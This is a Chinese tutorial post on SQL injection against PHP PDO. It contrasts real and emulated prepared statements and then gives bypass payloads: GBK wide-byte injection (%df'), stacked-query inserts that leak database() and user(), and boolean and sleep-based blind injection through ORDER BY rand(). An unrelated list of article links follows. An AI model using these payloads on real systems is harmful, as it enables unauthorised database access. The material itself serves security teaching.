当前位置: 首页 > news >正文

WEB安全--SQL注入--PDO与绕过

一、PDO介绍:

        1.1、原理:

                PDO支持使用预处理语句(Prepared Statements),这可以有效防止SQL注入攻击。预处理语句将SQL语句与数据分开处理,使得用户输入的数据始终作为参数传递给数据库,而不会直接拼接进SQL语句中,从而防止了SQL注入

        1.2、预编译的区分:

                1.2.1、真实预编译:

                        把ATTR_EMULATE_PREPARES设为false

<?php
$username = $_POST['username'];

$db = new PDO("mysql:host=localhost;dbname=test", "root", "root123");
$db -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

$stmt = $db->prepare("SELECT password FROM test where username= :username");

$stmt->bindParam(':username', $username);

$stmt->execute();

$result = $stmt->fetchAll(PDO::FETCH_ASSOC);

var_dump($result);

$db = null;

?>
#首先定义模版,以'?’作为占位符:
prepare SELECT password FROM users where username= ?

#然后插入用户输入的值,转译其中的特殊字符再将其放在''中执行:
execute SELECT password FROM users where username=
'admin\' union select database()#'

#可以看到,我们的payload中的字符被转译了,而且还被放在引号中整个被当做字符串处理了,
不同于设置waf,这种情况下任何奇技淫巧都是徒劳的,我们无法逃逸出来

                1.2.2、模拟预编译:

                        没有取消ATTR_EMULATE_PREPARES,默认为模拟预编译:

<?php
$username = $_POST['username'];

$db = new PDO("mysql:host=localhost;dbname=test", "root", "root123");

$stmt = $db->prepare("SELECT password FROM test where username= :username");

$stmt->bindParam(':username', $username);

$stmt->execute();

$result = $stmt->fetchAll(PDO::FETCH_ASSOC);

var_dump($result);

$db = null;

?>
#没有定义模版,后端只是对我们的输入做了一个字符转译:
query SELECT password FROM users where username= 
admin\' union select database()#'

#可以看到这个模拟预编译的防御就不如真实预编译密不透风了

二、基于模拟预编译的绕过:

        2.1、宽字节注入:

#宽字节注入出现的本质就是因为数据库的编码与代码的编码不同,导致用户可以通过
输入精心构造的数据通过编码转换吞掉转义字符。

在对于我们输入的payload的处理上,模拟预编译只是使用了\来进行转义,如果我们
能有什么办法吞掉这个\,那是不是我们就可以执行恶意的sql语句了呢?

#接下来就到宽字注入登场了:
#宽字节注入的原理:

编码方式:
--UTF-8:
可变长度编码:每个字符占用 1 到 4 个字节。
ASCII 字符(如英文字母)占 1 字节。
中文字符(如汉字)占 3 字节。
特殊字符或罕见字符可能占 4 字节。
向下兼容 ASCII。

--GBK:
可变长度编码:每个字符占用 1 或 2 个字节。
ASCII 字符占 1 字节。
中文字符占 2 字节。


#可以看到这些编码方式英文字母都只占1个字节



以less-32为例

第三十二关使用preg_replace函数将 斜杠,单引号和双引号过滤了,
如果输入id=1'会变成id=1\',使得引号不起作用。
但是可以注意到数据库使用了gbk编码。
这里我们可以采用宽字节注入。当某字符的大小为一个字节时,
称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。
所有英文默认占一个字节,汉字占两个字节。

#假如我们输入:
?id=1'
#那被模拟预编译处理后就是:
?id=1\'
hex: 315c27
#那当我们插入:
?id=1%df'
#被处理后的就是:
?id=1%df\'
hex: 31df5c27 (发生了报错,说明我们的'起作用了)

#原因如下:
1   %df  \   '
31  df   5c  27

在GBK编码中,%df和\组成了一个中文字符,占2个字节,
也就是这个中文字符的十六进制编码为:df5c,所以我们输入的payload被处理后变成了 1�',
这样我们的单引号就逃逸出来了,后面的问题也就迎刃而解了。

#payload
?id=-1%df' union select 1,2,database()--+

        2.2、堆叠注入:

PDO默认支持多行查询,但是其只能显示第一行查询的结果
#没有参数绑定的预编译等于没有预编译,无论是真编译还是模拟预编译,
没有参数绑定等于没编译,并且由于pdo默认支持堆叠注入,
我们可以通过堆叠注入先插入值然后查询插入的值获取输出结果。

--我们可以post一个

id=1;
insert into test(id,username,password) values(520,database(),user())

--然后传递

id=520

--我们就能得到database()和user()的输出值了

三、基于真实预编译的绕过:

        3.1、思考:

                按正常思路来说,我们是无法在注入语句上下功夫去绕过真实预编译的,因为我们的payload无论怎样写都只会被当做字符串处理;那有没有什么语句接收的参数不能被加引号呢?

实际上在mysql中order by、group by、limit、表名、列名、join这些都是不能在其后面接收的参数左右加引号的,因为一旦在其后面的参数上加了引号就会被当做字符串处理,查询时就会造成语法错误,并且pdo的设计目的也不是为了防止SQL注入的,是用来在大批量查询时减少语法树构造的,因此官方自然也不会让pdo在这些方法后加引号

并且在这些方法中只有order bygroup by能够加以利用,就算pdo不在表名、列名上加引号也没有利用的价值

        3.2、order by绕过:

#假如我们通过下面两条语句查表:

select username from users order by rand(true)

admin
lili
xiaoming


select username from users order by rand(false)

lili
xiaoming
admin


#可以看到如果页面有查询后的信息回显,布尔值的不同回显的数据也不同,
那直接用布尔盲注的手段结合脚本就能遍历出我们想要的信息


#示例payload:

rand(ascii(substr((select database()),1,1))>115)
#那如果页面回显数据是相同的或者页面没有回显呢?

#我们就可以使用时间盲注的手段了

#示例payload:

rand(if(ascii(substr(select user(),1,1)),sleep(3),0))

        3.3、group by绕过:

                与order by原理相似,如法炮制即可,如果网页有group by的功能使用相同的方式也是有相同效果的。

相关文章:

  • 第36次CCF计算机软件能力认证 python 参考代码
  • 智能化客户画像构建管理:AI视频监控在大型商场的技术
  • ERP项目与BPM项目的关系
  • 教程 | 从零部署到业务融合:DeepSeek R1 私有化部署实战指南
  • PyTorch 深度学习项目结构及nn.Module介绍
  • 根据用户ID进行分表,为什么会数据倾斜,怎么保证数据不倾斜
  • React常用hooks
  • JUC并发总结一
  • 数据恢复-02-故障硬盘的检测
  • 第三节 元组、集合、字典
  • 基于Ubuntu+vLLM+NVIDIA T4高效部署DeepSeek大模型实战指南
  • Linux:线程概念、理解、控制
  • 为什么dataloader出来batchsize为8,进入到model之后就变成了2
  • 用python的python-docx模块读取、修改docx文件并批量替换关键字
  • [创业之路-305]:从时域、从频率两个不同的角度看股票的趋势和买入和卖出时机
  • ML.NET库学习008:使用ML.NET进行心脏疾病预测模型开发
  • 【函数题】6-12 二叉搜索树的操作集
  • 大语言模型简史:从Transformer(2017)到DeepSeek-R1(2025)的进化之路
  • 【20250216】二叉树:二叉树的层序遍历Ⅱ
  • 设置默认构建变体 Build Variant
  • “免签圈”扩容,旅游平台:今年以来巴西等国入境游订单显著增加
  • 第1现场 | 美国称将取消制裁,对叙利亚意味着什么
  • 国台办:民进党当局刻意刁难大陆配偶,这是不折不扣的政治迫害
  • 经济日报整版聚焦:上海构建法治化营商环境,交出高分答卷
  • 上海首发经济“卷”到会展业,浦东签约三个年度“首展”
  • 西北大学副校长成陕西首富?旗下巨子生物去年净利超20亿,到底持股多少